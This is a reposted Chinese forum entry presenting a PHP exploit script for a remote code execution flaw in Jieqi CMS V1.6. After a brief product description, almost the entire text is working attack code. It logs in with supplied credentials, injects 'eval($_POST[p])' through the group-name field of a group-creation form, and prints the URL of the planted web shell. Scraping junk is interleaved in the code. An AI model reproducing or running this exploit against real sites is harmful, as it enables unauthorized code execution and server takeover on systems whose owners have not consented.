Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。

; k& x& O; t1 ?/ ]
该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
需要有一个能创建圈子的用户。

5 G* g' s  L* A0 x% o5 J<?php

print_r('
4 a3 @5 W7 i' w: m+ {+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
) s: N4 i& m9 e  X' T* Q! {/ R- @by flyh4t
; @  Q7 T+ a: ?+ F( f$ qmail: phpsec at hotmail dot com
team: http://www.wolvez.org
+---------------------------------------------------------------------------+
$ e1 [8 k* b7 O# d9 d5 p% `'); /**
9 G6 z5 A) O- D0 ^& N+ a * works regardless of php.ini settings
" [8 V2 L3 o; w) O*/ if ($argc < 5) { print_r('
# ]4 F& b( U9 p# S1 A4 I+---------------------------------------------------------------------------+
9 {$ G/ `: Y9 G6 HUsage: php '.$argv[0].' host path username
/ p8 y6 N/ _1 I" C8 P( l; T4 @host:      target server (ip/hostname)
1 v2 W' W/ _. G% o: {path:      path to jieqicms
uasename:  a username who can create group
Example:
$ X6 l' ]0 c' n- m9 U- Iphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
* F: e' m$ z# l1 j! p/ o! D+ Q+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"
! m" G6 R, y& Q% z! y, n7 p; y3 z
3 L% Q9 c* n/ u& B- ^  I6 e  f( O, q'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"
# ~& U( f2 @- i& G
0 U; m+ I* S- `7 S" t) I* W1
-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"

5 v5 j  T# i: b, F6 Y  N5 U; a, v1
-----------------------------23281168279961--
2 d; Q, X  ]6 _'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

& @7 P" U5 K1 |8 A" mpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;